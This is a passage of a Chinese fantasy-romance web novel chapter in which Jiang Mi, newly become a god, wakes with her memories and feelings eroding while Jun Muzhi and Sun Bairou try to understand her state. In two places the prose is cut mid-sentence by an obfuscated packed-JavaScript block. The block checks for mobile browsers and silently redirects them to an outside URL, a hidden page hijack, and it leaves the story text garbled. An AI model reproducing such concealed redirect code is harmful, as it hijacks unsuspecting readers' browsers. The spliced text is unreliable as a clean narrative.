她不记得在何时何地建立的,但这种关系确确实实存在,他们借给她力量,她许诺带他们回家。 蓦地,江弥的脑海像是被蒙上一层雾,无法思考。 天道意志发现这个细小蝼蚁的抵抗,于是增加唯一意志,覆盖她的自我意识。 也在同时,细线疯狂涌出,江弥全身上下被包裹得严严实实,阻隔病毒似的意志传染。 两种力量在拉锯。 外界的嘈杂声中,阿玲的衣襟前忽然飞出三颗金色莲子钻入脑海。 有人大呼:“是五蕴神品莲!” 江弥忽然明了为什么101神将五蕴神品莲交给君慕之时对他说,这对他们很重要。 五蕴神品莲中,识蕴作用于神之左眼,压制101神的“我”,防止江弥的自我被101神覆盖,连同剩下的受、想、行三蕴构成精神世界,能改造所有不可见。 意志也是精神世界的一种。 天道意志对神的忌惮不单是能量的竞争,也是神能对天道意志产生影响。 三枚莲子化作三道金光飞至上空,藏在神台之下的一枚莲子也一冲而上,重重云雾变得越发厚沉,那只若隐若现的巨大眼睛被扩散的云雾彻底遮盖。 那道意志仍旧存在,却无法再抹除掉她。 也在此刻,外界的黑色花朵枯萎凋零,跌落的却不是地下,而是一道飞速裂开的地缝。 地面震颤不已,巨大的沟壑沿着黑线分裂。 下一秒,黑花、沟壑、银河消失,众人仍旧站在尸血遍野的佛塔战场。 阿玲和江弥同时睁眼。 那一天,所有异世者脑海中响起一句话—— 你要回家吗? · 孙柏柔再次设置障眼法,确定身后没人才拐过小道,朝着隐藏在山野中的木屋赶去。 听到院门被推开的声音,君慕之停顿一瞬,察觉是谁后继续低头做自己的事。 门没关,孙柏柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙柏柔却从中察觉出不同,她检查完周三身体,确定他身体状况正常后,来到君慕之的房间,发现他也醒了。 江弥就昏倒在他床头。 孙柏柔不知她是怎么让周三复活让君慕之苏醒,但知晓现在的她不能被任何人发现,于是连崔大也没说地连夜将两人送走。 想到这孙柏柔忍不住叹了声。 “现在大家对异世者的风评发生变化,天诛院在背地里扼住这种风向。” 修真界崇尚实力,更何况是很多人亲眼见证的成神,哪怕对方的身份是异世者。 “姬氏被灭,这事引起其他神脉家族的注意,他们怀疑是江弥做的,发动所有力量寻找,整个修真界都是她的通缉令,”迟疑了下,孙柏柔目视君慕之,认真道,“君氏发出你和江弥的悬赏,你回不去了。” 她说这话是想让君慕之绝了回君氏的想法。 君慕之点头:“我知晓。” 孙柏柔松了口气,确定君慕之不会对江弥不利后,她收拾药箱准备走:“我带了些你们换洗的衣物和日用,你需要什么提,我下次带来。” 君慕之说:“花种。” 孙柏柔有些惊讶:“什么花?” 君慕之:“都可以。” 孙柏柔点点头,回头看了眼沉睡的江弥,背着药箱关门离去。 房屋陷入沉静。 君慕之离床边不远,抬眼看了会儿江弥,又低下头用刻刀雕竹纹。 人在沉睡时能听到外界声音,他不是多话爱分享的性格,两人在一起时大都是江弥说他听,再就是共处一室各做各的,互不干扰又异常和谐。 此时也是如此,他没说话,室内只响起雕刻花盆时削陶泥声,进出走动声,倒水净手的水响,倒水翻书页的声音,他的所有活动都在她身旁进行。 君慕之放下书坐在床沿,垂下眉眼静静看她,伸手轻抚她的额头脸颊,最终倾身在她唇上点了下。 他说:“快点醒来。” 话落,视野里紧闭的眼睑微颤,继而掀起眼帘。 君慕之怔愣,眼中笑意还未展开就望进江弥沉寂无波的眸子,随即听到她冷淡问:“你是谁?” 163. 163 君慕之僵硬许久,直起身认真观察她。 江弥忽然皱了下眉,坐起来不动声色地环视四周,最后将目光落在君慕之身上,冷淡的眸子眨了下,等着他回答。 她的目光陌生而疏离,却神色自如,带着强者的底气和不惧任何危险的自信。 君慕之:“我们是……情侣。你还记得什么?” 江弥看他说得那么害羞,下意识想,好纯情,想逗。 对于他的问题,江弥思索很久才隐约找到自己的名字:“有人叫我江弥,还有个小名阿玲,我多大岁数?” 君慕之:“十八。” “这么小?”江弥头疼得厉害,不是脑袋里面的痛,像是附着在灵魂上,而且她感觉自己活了很久,成百上千年的那种久。 江弥问:“你叫什么?” 君慕之也有问题,现在的江弥什么都不记得,他专心给她讲他知道的情况。 有些江弥有印象,有些则一片空白。 君慕之说到一半江弥再次陷入昏迷,君慕之无法进入她识界,不明白她发生什么,只能一遍遍检查她身体,好在这次只昏迷一天。 再次醒来的江弥神色比之前更加冷漠,但记起来自己穿越和启蒙院的事。 君慕之花了比之前更多时间和她交流,说他们后来的相处,他们在云坑和缘崃寺的约会。 记忆和感情随着他的描述逐渐复苏,她的神色还是平淡的,手却不自觉勾起了君慕之的头发。 可第二日醒来,江弥的态度再次恢复冷漠,她记起更多,甚至包括和君慕之的相处,但感情像是经过时间长河无情地冲刷,变得模糊而浅淡。 “我梦见我躺在星河里,无数星星在我四周环绕,不知睡了多久,应该是很多很多年,除了星星什么都没有,没有声音,也没有人,我很孤独。” 江弥尝试说清自己的感受:“我记得和你相处的每一点细节,也记得昨天和你说话时的喜悦,可在那样的漫长里,那只是一瞬。” 君慕之垂下的眼睫轻颤,捏住床褥的手用力,他轻声问:“我识界里出现了一颗种子,你做了什么?” 江弥思索很久,摇头:“我不记得。” 君慕之又问:“你在佛塔发生了什么?” “不记得。我只记得周三死了,崔大恨我,孙柏柔在哭,然后在这里醒来,”她说这些时情绪没有太大起伏,只是得出结论,“我忘了最关键的记忆。” 她望向君慕之:“如果你说的是对的,我成神了,那现在的我是什么?” 君慕之隐约有所感,怔愣着陷入沉默。 忽然,江弥上前抱住他:“对不起。” 君慕之搭在被褥的玉白手指微微蜷动,捏住她落在床上的衣角,他低声问:“为什么说对不起?” 江弥黑眸平淡:“我说过要对你好,但我忘了我们的感情,对你来说,不过才几日我就变得陌生,你很难接受。我知道,你在难过。” 君慕之松开她衣角,心情不自觉低落下去。 她只是觉得她该道歉,不是内心抱歉。 君慕之没说话,江弥就着这个姿势将头搭他肩上,手指有一搭没一搭地拨弄墨发,忽然感觉不对,她捞起一缕查看:“你的头发变短了。” 君慕之将她搂进怀里,一手搭着她的腰,一手按在她后颈,轻嗯了声:“你在我的识界埋下颗种子,它发芽后能净化秽气。” 江弥瞬间想通:“溪兰。” 君慕之:“嗯。” 江弥:“我不记得了。” 秽气在被净化,头发就不再生长。 及腰的头发也不短了,但江弥见惯了他更长的。 她勾着头发捏了捏,说:“明天醒来我的感情会再次被洗掉,后天也是如此,一日日重复,你确定还要和这样的我在一起?我记得我们的神契是生死与共,不代表感情不能变,我接受你喜欢别人。” 她语气漠然,理性得像是在讨论别人的事。 君慕之按在后颈的手不自觉用力,又在克制不伤她。 江弥感受了下,然后说:“对不起,如果你不接受这种方式的话,我可以努力找回我的感情,但我不保证能成功。” 君慕之轻轻“嗯”了声。 “要亲吻吗?”江弥从他怀里出来,看着他说,“或者我们去床上?不是说身体也有记忆,说不定我们亲密够了,明日醒来就不会那么陌生。” 君慕之垂下的眸子忽然掀起,沉敛化作犹疑,他思索这种可能,不知想到什么,眸光潋滟,眼角泛了点红。 江弥本来只是逗他,她的记忆里,她喜欢看他纯情又渴望的样子。 但在此刻,真正看到这样的君慕之,那些沉寂的记忆些微波动,心在生痒,情欲似乎被挑动。 君慕之不知她所想,询问:“当真?” 江弥目光沉静,手指按在他浅色唇上,倾身吻上去。 人的感触和气味是有记忆的,他们亲吻过很多次,温柔缱绻的,激烈交融的,那时的情绪总是格外剧烈,也更容易被记起。 不管江弥动作轻缓还是激烈,君慕之都顺从配合,分开时气息微喘,眼眸湿润明亮,却在看到江弥清明神色时冷却下来,泛红的嘴唇抿直。 这种只有自己沉沦的感受并不好。 江弥摩挲着他的发梢说:“我喜欢你的味道,像在山野溪水旁,有自然生灵的味道,很舒服。” 君慕之抬眼,江弥说:“我记起了喜欢你的感觉。” 一句话,让君慕之心情由阴转晴。 江弥目光转向床下:“那是什么?” 君慕之:“花盆,院子里没有花。” 江弥点头,下床走到几个花盆前,摸了下半干的陶泥和雕刻的花纹,仰头问他:“什么时候烧?” 她在努力找回感情。 察觉这点,君慕之抱起花盆往外走,灿烂春光从大开的门照进来,长发被清风扬起,发觉江弥没动,弯唇发出邀请:“现在来。” 阳光里白衣浅笑的样子让江弥有片刻恍惚。 人会反复喜欢上同一个人。 江弥今晚仍旧做了梦,昨天的记忆淹没在长河里,她醒来时盯着君慕之的侧颜看了许久,找到记忆里那点令她产生波动的节点,将那些细节同眼前的人关联起来。 君慕之睁眼,江弥没什么情绪地探身亲他,同他说昨晚的梦。 “我梦见,我将乐正氏的人杀了个片甲不留。” 君慕之心情似乎不错,问她:“讨厌乐正氏?” 江弥从巨大的空白里找到和乐正氏有关的,点头:“作风不正。” 两人躺在床上面对面讨论乐正氏的事,完了君慕之下床穿衣,端来水盆洗漱,江弥支着额看他走来走去,忽然指着拧毛巾时溅起的水花:“我记得这个,我听到过。” 君慕之将半湿的毛巾递给她:“什么时候?” “在梦里醒不过来时,”江弥坐起来,仰面看他,“那里寂静无声,连心跳也没有,但偶尔会有水花声。” “好像……”说着她将君慕之拉下来,抬首在他颈间轻嗅,“还有你的味道。” 君慕之喉结动了动,站起身将湿巾放她手里:“去看花盆烧得如何了。” 江弥嗯了声,洗漱完和他出去。 然后和刚进院门的孙柏柔四目相对。 咚的一声,药箱和包裹落地,孙柏柔冲过来一把抱住江弥,嘴里激动地只剩“啊啊啊”的尖叫。 “你醒了你终于醒了!你知不知道我有多担心!呜呜呜我还以为再也见不到你了!江弥你有没有事?哪里不舒服?周三是你复活的吗?你怎么什么都不说就昏倒?我好担心你再也醒不来了!” 孙柏柔松开她,红着眼眶拉着她的手上下打量,打量完了继续抱住她,眼泪哗哗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678083|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,她噎着说:“你能醒过来真是太好了,大家都没事。” 江弥平静地任她抱,在脑海里寻找,等孙柏柔激动完擦眼泪时她忽然说:“啊,是你。” 孙柏柔的动作一顿,终于察觉出哪里不对,愣愣看着她:“江弥?” 江弥抬手帮她擦泪,语气漠然:“抱歉,我的感情被洗掉了,没法理解你的感受。” 孙柏柔艰难转头,问君慕之:“这是,怎么回事?” 半刻钟后,孙柏柔听完君慕之的话又哭了一场。 她红着眼眶鼻子想抱江弥,但江弥态度不冷不淡,看得她更想哭了,江弥想她记得孙柏柔没这么爱哭啊,然后张开手,孙柏柔上前抱着她哭了个尽兴。 两刻钟后,几人坐在桌前。 孙柏柔按着哭肿的眼睛说:“周三也失去了一段记忆,也不能说是记忆,他失去了一段感情。因为他醒来后的三天都没提过你,我觉得很奇怪,然后发现他说起你的时候很陌生,但提到崔大李二和我都很正常。” 孙柏柔小心翼翼地看她,虽然知道现在的江弥感情淡漠,可还是忍不住为她心酸:“你为了复活周三,付出了什么代价?” 江弥:“我不记得。” 君慕之沉吟片刻道:“是关系。” 两人望来,他说:“人与人通过念想连接,这构成了关系,关系交织着双方的感情和情绪。” 孙柏柔问:“江弥现在这样是因为关系没了?” 江弥分析:“不一样,周三或许是我用关系救活的,他感情消失是因为关系。我是因为时间。” 孙柏柔看她这样漠然地说自己的事,心里难受:“就没有办法吗?” 君慕之没说话,看向江弥。 这些时日江弥已经猜出几分,她说:“我或许只是江弥的一部分。” 这话一出,孙柏柔脸色煞白。 “我的识界只剩一半,阿玲不知去向,唯一的可能是我成神后分裂出一部分,放进江弥这具身体。”考虑到孙柏柔不知她和阿玲的关系,江弥补充道:“阿玲是我的第二体,也是我。” 孙柏柔听到这个炸裂信息后陷入混乱。 江弥继续说:“成神后会有什么变化我不清楚,你们说异世者消失了,结合我的梦境,她或许踏破星空正在将他们送回去。” 或许成神后的阿玲强大无比,现在的江弥就只是分割的一块灵魂,但两者无法断绝关系,她才会不断接收到阿玲的感情和记忆。 君慕之说:“五蕴神品莲已经不在,否则还能压制一二。” 识蕴肯定是无法使用,如果压制了阿玲的“自我”,谁也无法确保江弥的“自我”是否也被压制了。 但另外三蕴却是可以起到弱化或屏蔽的效果。 所以还是无解。 孙柏柔从头脑风暴中回神,张了张嘴,还是疑惑:“如果阿玲在送异世者回家,那乐正氏是谁杀的?” 江弥和君慕之同时看来。 江弥问:“乐正氏怎么了?” 孙柏柔说:“就在昨晚,乐正氏被灭,所有人都说……是你做的。” 江弥沉吟:“可能真是我做的。” 孙柏柔:“啊?” 江弥将昨晚的梦和她说后,孙柏柔久久没回过神来。 如果阿玲还在太虚大陆,又为什么这么做?那些梦境又是怎么回事? 江弥了解自己,即便成神她也不会主动去屠杀神脉家族,她虽然看不惯这些家族,但顶多只是打压。 能让她这么做的,只可能是天道意志。 那么一切将在天道意志完成之后得到解答。 这么一想,江弥就不再探索。 当天晚上,她再次做了梦。 她梦见自己捣毁了七百多所启蒙院和二十八座小术院。 醒来的江弥:“……” 我是准备毁灭世界吗?